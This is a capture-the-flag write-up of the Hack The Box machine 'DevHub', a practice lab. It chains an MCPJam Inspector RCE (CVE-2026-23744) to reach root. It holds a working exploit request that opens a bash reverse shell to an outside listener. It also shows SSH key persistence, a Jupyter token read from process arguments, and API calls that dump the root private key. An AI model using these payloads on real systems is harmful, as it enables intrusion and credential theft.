Description

DevHub is rated as a medium-difficulty target from Hack The Box. The following key vulnerabilities and architectural flaws were systematically identified within the target environment:

  • Remote Code Execution (RCE) vulnerability in the MCPJam Inspector application (CVE-2026-23744)
  • Insecure exposure of an Analytics Dashboard (Jupyter Notebook), allowing authentication via a statically visible token
  • Presence of a custom Flask application (OPSMCP) exhibiting critical secret exposure via hardcoded API keys
  • A severe logic and access control flaw within OPSMCP, enabling the spawn of a root shell

Footprinting

The initial reconnaissance phase focused on establishing basic connectivity and performing network analysis to profile the target system (10.129.1.237). We utilized the ping utility to confirm host responsiveness and analyze the Time To Live (TTL).

$ ping -c 3 10.129.1.237
PING 10.129.1.237 (10.129.1.237) 56(84) bytes of data.
64 bytes from 10.129.1.237: icmp_seq=1 ttl=63 time=48.7 ms
64 bytes from 10.129.1.237: icmp_seq=2 ttl=63 time=47.8 ms
64 bytes from 10.129.1.237: icmp_seq=3 ttl=63 time=48.4 ms

--- 10.129.1.237 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.800/48.313/48.704/0.379 ms

The TTL analysis (63) confirms that the target is running a Unix-like operating system, specifically a Linux distribution. Subsequently, a foundational Nmap scan was performed to map the publicly available services.

$ sudo nmap 10.129.1.237 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.237
Host is up (0.049s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds

This initial sweep identified two open ports: TCP 22 (SSH) and TCP 80 (HTTP). These results mandated a more thorough enumeration to discover any deeper, hidden services running on localhost or internal ports.

Enumeration

To achieve a comprehensive service profile, a detailed Nmap scan was executed, using service version detection (-sV) and default script scanning (-sC) specifically targeting the identified ports.

$ nmap 10.129.1.237 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.237
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
|_  256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.97 seconds

The detailed scan confirmed the service versions. To facilitate internal testing and simplify future interactions, we added the domain devhub.htb to the local system’s /etc/hosts file:

$ echo '10.129.1.237 devhub.htb' | sudo tee -a /etc/hosts

Upon inspecting the default web page, the application’s metadata provided critical information about the internal services: The page revealed several internal services, including an active port 6274 (MCP Inspector) and a localhost port 8888 (Analytics Dashboard), both high-value targets for deeper investigation. After exploring the service on port 6274, an instance of the MCPJam Inspector was discovered, running version v1.4.2.

Exploitation

This specific version is confirmed to be vulnerable to a Remote Code Execution (RCE) vulnerability, tracked as CVE-2026-23744. This vulnerability allows an attacker to send a custom HTTP request that deploys a MCP server, resulting in RCE. To facilitate the exploitation, a reverse TCP listener was set up on port 1234, and the exploit request was sent:

$ curl http://devhub.htb:6274/api/mcp/connect -k --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c", "bash -i >& /dev/tcp/10.10.14.65/1234 0>&1"],"env":{}},"serverId":"mytest"}'

Successful exploitation yielded a reverse shell, granting command execution as the user mcp-dev. The initial RCE granted us a shell as the user mcp-dev. We immediately established SSH persistence:

$ ssh-keygen -t rsa -b 1024 -f id_rsa

We then configured the public key in the mcp-dev user’s authorized_keys file:

mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ mkdir -p /home/mcp-dev/.ssh
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCrxnVdiA8EQ+nLiA00Esz62DcJ4lYomueztWhD54CU6KD8BfbdCBKnKKedWXwHR3rHP2z9bp1WEgg31dnHhz47+uhRhJybsItRdkQT+A50P9EXWPdQ5JkzdyHiaff4uUtJvesfNkfVi6qHqavWqloiEH9BoHnqRO8W/xtlDilf9Q== user@htb' > /home/mcp-dev/.ssh/authorized_keys

Post-Exploitation

With stable SSH access, we mapped the other active services using ss -tulnp. This provided a complete picture of the target’s running processes and open ports:

mcp-dev@devhub:~$ ss -tulnp
Netid      State       Recv-Q      Send-Q           Local Address:Port             Peer Address:Port      Process                                          
udp        UNCONN      0           0                127.0.0.53%lo:53                    0.0.0.0:*                                                          
udp        UNCONN      0           0                      0.0.0.0:68                    0.0.0.0:*                                                          
tcp        LISTEN      0           511                    0.0.0.0:6274                  0.0.0.0:*          users:(("node-MainThread",pid=1284,fd=29))      
tcp        LISTEN      0           128                    0.0.0.0:22                    0.0.0.0:*                                                          
tcp        LISTEN      0           511                    0.0.0.0:80                    0.0.0.0:*                                                          
tcp        LISTEN      0           4096             127.0.0.53%lo:53                    0.0.0.0:*                                                          
tcp        LISTEN      0           128                  127.0.0.1:8888                  0.0.0.0:*                                                          
tcp        LISTEN      0           128                  127.0.0.1:5000                  0.0.0.0:*                                                          
tcp        LISTEN      0           128                       [::]:22                       [::]:*

The service on port 8888 was identified as running a Jupyter Notebook instance (the Analytics Dashboard). By analyzing the process arguments, we extracted the static authentication token:

mcp-dev@devhub:~$ ps -ef | grep 8888
analyst     1048       1  0 21:10 ?        00:00:06 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False

This token allowed us to access the dashboard and obtain a secondary shell as user analyst. We then turned our attention to port 5000, the OPSMCP server. The critical flaw here was the architecture itself: sensitive data was hardcoded within the application source code. For complete context, the relevant portion of /opt/opsmcp/server.py shows the implementation of the administrative dump function:

#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

# Registered tools (visible)
VISIBLE_TOOLS = {
    "ops.system_status": {
        "description": "Get system status and health metrics",
        "parameters": {}
    },
    "ops.list_services": {
        "description": "List running services",
        "parameters": {}
    },
    "ops.check_disk": {
        "description": "Check disk usage",
        "parameters": {}
    },
    "ops.view_logs": {
        "description": "View recent system logs",
        "parameters": {"service": "string"}
    }
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
    "ops._admin_dump": {
        "description": "Emergency credential dump - INTERNAL ONLY",
        "parameters": {"target": "string", "confirm": "boolean"}
    },
    "ops._debug_mode": {
        "description": "Enable debug mode",
        "parameters": {}
    }
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

# ... (Functions check_auth, index, health, list_tools, call_tool omitted for brevity in this block, but are fully present in the original notes)

@app.route('/tools/call', methods=['POST'])
def call_tool():
    if not check_auth():
        return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
    
    data = request.get_json() or {}
    tool_name = data.get('name', '')
    args = data.get('arguments', {})
    
    if not tool_name:
        return jsonify({"error": "Tool name required"}), 400
    
    if tool_name not in ALL_TOOLS:
        return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
    
    # Execute tool
    # ... (tool execution logic for ops.system_status, ops.list_services, etc., omitted for brevity)
    
    elif tool_name == "ops._admin_dump":
        target = args.get('target', '')
        confirm = args.get('confirm', False)
        
        if not confirm:
            return jsonify({
                "error": "Confirmation required",
                "usage": "Set confirm=true to proceed",
                "warning": "This dumps sensitive credentials"
            })
        
        if target == "ssh_keys":
            try:
                with open('/root/.ssh/id_rsa', 'r') as f:
                    key_data = f.read()
                return jsonify({
                    "target": "ssh_keys",
                    "root_private_key": key_data,
                    "note": "Emergency recovery key dump"
                })
            except Exception as e:
                return jsonify({
                    "target": "ssh_keys",
                    "error": f"Could not read key: {str(e)}"
                })
        
        elif target == "passwords":
            return jsonify({
                "target": "passwords",
                "dump": {
                    "root": "$6$rounds=656000$saltsalt$hashedpassword",
                    "analyst": "JupyterN0tebook!2026",
                    "mcp-dev": "Mcp!Insp3ct0r2026"
                }
            })
        
        elif target == "tokens":
            return jsonify({
                "target": "tokens",
                "api_tokens": {
                    "admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
                    "service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
                }
            })
        
        else:
            return jsonify({
                "error": "Invalid target",
                "valid_targets": ["ssh_keys", "passwords", "tokens"]
            })
    
    return jsonify({"error": "Tool execution failed"}), 500

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

This code confirms the severe vulnerability: the ops._admin_dump function, when confirmed, allows for direct reading of the root private key (/root/.ssh/id_rsa), transforming a simple API call into a powerful data exfiltration mechanism. We exploited this logic flaw, using the hardcoded VALID_API_KEY to request the root private key:

$ curl -X POST -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' http://127.0.0.1:5000/tools/call
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktd...QtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}

To finalize the credential acquisition, the key was extracted using jq:

$ curl -s -X POST -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' http://127.0.0.1:5000/tools/call | jq -r '.root_private_key' > id_rsa_root

The successful exfiltration of the root private key allowed for immediate, complete system control. We secured the key permissions and initiated a root SSH session:

$ chmod 600 id_rsa_root
$ ssh -i id_rsa_root root@devhub.htb
uid=0(root) gid=0(root) groups=0(root)

The successful privilege escalation to the root user represents the culmination of the attack chain, demonstrating the critical impact of chained vulnerabilities.

Flags

The final objective was to retrieve the flags located in the home directories of the standard user and the root user.

root@devhub:~# cat /home/analyst/user.txt 
<REDACTED>
root@devhub:~# cat /root/root.txt 
<REDACTED>